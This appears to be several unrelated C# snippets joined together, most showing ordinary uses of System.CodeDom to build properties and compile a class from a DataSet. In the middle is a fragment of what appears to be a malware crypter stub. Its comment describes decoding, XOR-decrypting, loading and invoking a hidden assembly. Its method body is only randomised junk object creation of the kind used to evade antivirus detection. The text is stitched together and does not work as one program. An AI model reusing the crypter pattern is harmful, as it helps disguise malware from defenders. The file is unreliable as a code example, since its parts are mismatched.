internal CodeMemberProperty PropertyDef(string name, Action generatePropertyGetter, Action generatePropertySetter) { var prop = new CodeMemberProperty { Name = name, Attributes = MemberAttributes.Public, PropertyType = new CodeTypeReference(typeof(object)) }; var mem = new System.CodeDom.CodeMemberProperty(); var old = Scope; var oldMethod = CurrentMember; var oldStatements = CurrentMemberStatements; var oldComments = CurrentMemberComments; SetCurrentPropertyAccessor(prop, prop.GetStatements); this.Scope = prop.GetStatements; generatePropertyGetter(); if (generatePropertySetter != null) { SetCurrentPropertyAccessor(prop, prop.SetStatements); this.Scope = prop.SetStatements; generatePropertySetter(); } AddMemberWithComments(prop); this.Scope = old; this.CurrentMember = oldMethod; this.CurrentMemberStatements = oldStatements; this.CurrentMemberComments = oldComments; return(prop); }
/* What this stub does: * ---> Gets library key file data * ---> Get library file data * ---> Decodes library -> b64 * ---> Decrypts library -> xor * ---> Loads assembly * ---> Invokes { class.void } */ void YjsMv(System.Windows.Forms.DrawToolTipEventArgs oKqQOv) { System.Web.Security.RoleManagerModule NnQQxZQ = new System.Web.Security.RoleManagerModule(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId lMsgpe = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId(); System.ComponentModel.TypeConverterAttribute nLj = new System.ComponentModel.TypeConverterAttribute("drkXnUnJhWFwf"); System.Net.CredentialCache geTig = new System.Net.CredentialCache(); System.Web.HttpCompileException alxHnc = new System.Web.HttpCompileException("UiEiZ", new System.Exception()); System.Web.UI.WebControls.TableCell vcQBTfO = new System.Web.UI.WebControls.TableCell(); System.CodeDom.CodeTypeMember vFPMu = new System.CodeDom.CodeTypeMember(); System.Web.UI.WebControls.FontNamesConverter XgGWei = new System.Web.UI.WebControls.FontNamesConverter(); System.Web.HttpCookieCollection osBP = new System.Web.HttpCookieCollection(); System.Windows.Forms.NativeWindow ALZ = new System.Windows.Forms.NativeWindow(); System.Globalization.HebrewCalendar VNfgivs = new System.Globalization.HebrewCalendar(); System.Security.Cryptography.SHA256Managed QgqhE = new System.Security.Cryptography.SHA256Managed(); System.StackOverflowException ZsrNpa = new System.StackOverflowException("topngxhg", new System.Exception()); System.Runtime.CompilerServices.IndexerNameAttribute ULAbnhF = new System.Runtime.CompilerServices.IndexerNameAttribute("rijUNSSShlVcWRqIb"); System.Runtime.CompilerServices.NativeCppClassAttribute katJkXs = new System.Runtime.CompilerServices.NativeCppClassAttribute(); System.ComponentModel.Design.CheckoutException cagCAsm = new System.ComponentModel.Design.CheckoutException(); System.ComponentModel.UInt64Converter CUsA = new System.ComponentModel.UInt64Converter(); System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri wfDiyM = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri("Pqslfldqdvk"); System.Web.Configuration.ClientTargetCollection bTPD = new System.Web.Configuration.ClientTargetCollection(); System.Security.SecureString aYUhbe = new System.Security.SecureString(); System.Windows.Forms.UpDownEventArgs ZBnnQ = new System.Windows.Forms.UpDownEventArgs(31195626); System.Text.EncoderExceptionFallbackBuffer xdZhjn = new System.Text.EncoderExceptionFallbackBuffer(); System.Reflection.InvalidFilterCriteriaException kYr = new System.Reflection.InvalidFilterCriteriaException("zcblTWNdrOfLQic"); System.ComponentModel.Design.DesigntimeLicenseContext cPtkpz = new System.ComponentModel.Design.DesigntimeLicenseContext(); System.ComponentModel.DecimalConverter eDy = new System.ComponentModel.DecimalConverter(); System.Web.Configuration.AdapterDictionary CnfaYLB = new System.Web.Configuration.AdapterDictionary(); System.Web.Configuration.HttpCookiesSection PjAiSDc = new System.Web.Configuration.HttpCookiesSection(); System.Web.UI.WebControls.View tLTbUfG = new System.Web.UI.WebControls.View(); System.Security.AccessControl.PrivilegeNotHeldException YkIDY = new System.Security.AccessControl.PrivilegeNotHeldException(); System.Web.UI.HiddenFieldPageStatePersister SdBpR = new System.Web.UI.HiddenFieldPageStatePersister(new System.Web.UI.Page()); System.Windows.Forms.ColumnClickEventArgs DIlHu = new System.Windows.Forms.ColumnClickEventArgs(986016714); System.CodeDom.CodeMemberProperty CBEMisW = new System.CodeDom.CodeMemberProperty(); System.Security.HostProtectionException OAy = new System.Security.HostProtectionException("lpGrG", new System.Exception()); System.Web.UI.WebControls.MenuItemBinding FKHqdt = new System.Web.UI.WebControls.MenuItemBinding(); }
protected abstract void GenerateProperty(System.CodeDom.CodeMemberProperty e, System.CodeDom.CodeTypeDeclaration c);
protected void AddGetCode(string codeString, System.CodeDom.CodeMemberProperty cmp) { System.CodeDom.CodeStatement code = new System.CodeDom.CodeSnippetStatement(codeString); cmp.GetStatements.Add(code); }
public static object GetDbInfo(System.Data.DataSet ds) { // Get a code provider object. System.CodeDom.Compiler.CodeDomProvider cdp = new Microsoft.CSharp.CSharpCodeProvider(); // Create the namespace and import the default "System" namespace. System.CodeDom.CodeNamespace nmspc = new System.CodeDom.CodeNamespace("DataExplorer"); nmspc.Imports.Add(new System.CodeDom.CodeNamespaceImport("System")); nmspc.Imports.Add(new System.CodeDom.CodeNamespaceImport("System.ComponentModel")); // Create a class object. System.CodeDom.CodeTypeDeclaration clsDbInfo = new System.CodeDom.CodeTypeDeclaration("DbInfo"); clsDbInfo.IsClass = true; nmspc.Types.Add(clsDbInfo); // Add fields to the class for each value returned. List <string> fldNms = new List <string>(); for (int i = 0; i < ds.Tables.Count; i++) { for (int j = 0; j < ds.Tables[i].Columns.Count; j++) { string fldNm = "_" + ds.Tables[i].Columns[j].ColumnName.ToLower(); if (!fldNms.Contains(fldNm)) { System.CodeDom.CodeMemberField fld = new System.CodeDom.CodeMemberField(typeof(System.String), fldNm); fld.Attributes = System.CodeDom.MemberAttributes.Public; clsDbInfo.Members.Add(fld); fldNms.Add(fldNm); } } } // Add properties for the class to access each field. List <string> propNms = new List <string>(); for (int i = 0; i < ds.Tables.Count; i++) { for (int j = 0; j < ds.Tables[i].Columns.Count; j++) { string fldNm = "_" + ds.Tables[i].Columns[j].ColumnName.ToLower(), propNm = ds.Tables[i].Columns[j].ColumnName; if (!propNms.Contains(propNm)) { System.CodeDom.CodeMemberProperty prop = new System.CodeDom.CodeMemberProperty(); prop.Attributes = System.CodeDom.MemberAttributes.Public; prop.Name = propNm; prop.Type = new System.CodeDom.CodeTypeReference(typeof(System.String)); System.CodeDom.CodeVariableReferenceExpression retExp = new System.CodeDom.CodeVariableReferenceExpression(fldNm); System.CodeDom.CodeMethodReturnStatement getReturn = new System.CodeDom.CodeMethodReturnStatement(retExp); prop.GetStatements.Add(getReturn); prop.HasGet = true; prop.HasSet = false; string catName = (ds.Tables[i].TableName.EndsWith("1")) ? "File Group" : "Database"; System.CodeDom.CodeAttributeDeclaration attrCat = new System.CodeDom.CodeAttributeDeclaration("Category", new System.CodeDom.CodeAttributeArgument(new System.CodeDom.CodePrimitiveExpression(catName))); prop.CustomAttributes.Add(attrCat); // Add the property to our class. clsDbInfo.Members.Add(prop); propNms.Add(propNm); } } } // Add a constructor to the class System.CodeDom.CodeConstructor clsDbInfoConstr = new System.CodeDom.CodeConstructor(); clsDbInfoConstr.Attributes = System.CodeDom.MemberAttributes.Public; clsDbInfo.Members.Add(clsDbInfoConstr); // Create a CompileUnit for this new type. System.CodeDom.CodeCompileUnit cu = new System.CodeDom.CodeCompileUnit(); cu.ReferencedAssemblies.Add("system.dll"); cu.Namespaces.Add(nmspc); // Now, we're ready to generate some code! #if DEBUG // If we're running in DEBUG mode, I want to see the generated code. using (System.IO.FileStream fs = new System.IO.FileStream("dbinfo.cs", System.IO.FileMode.Create, System.IO.FileAccess.Write)) using (System.IO.StreamWriter sr = new System.IO.StreamWriter(fs)) cdp.GenerateCodeFromCompileUnit(cu, sr, null); #endif System.CodeDom.Compiler.CompilerParameters cp = new System.CodeDom.Compiler.CompilerParameters(); cp.ReferencedAssemblies.Add("system.dll"); cp.GenerateExecutable = false; cp.IncludeDebugInformation = false; cp.GenerateInMemory = false; //cp.OutputAssembly = _outputName; System.CodeDom.Compiler.CompilerResults cr = cdp.CompileAssemblyFromDom(cp, cu); if (!cr.Errors.HasErrors) { System.Reflection.Assembly asm = cr.CompiledAssembly; object dbInfo = asm.CreateInstance("DataExplorer.DbInfo"); return(dbInfo); } else { return(null); } }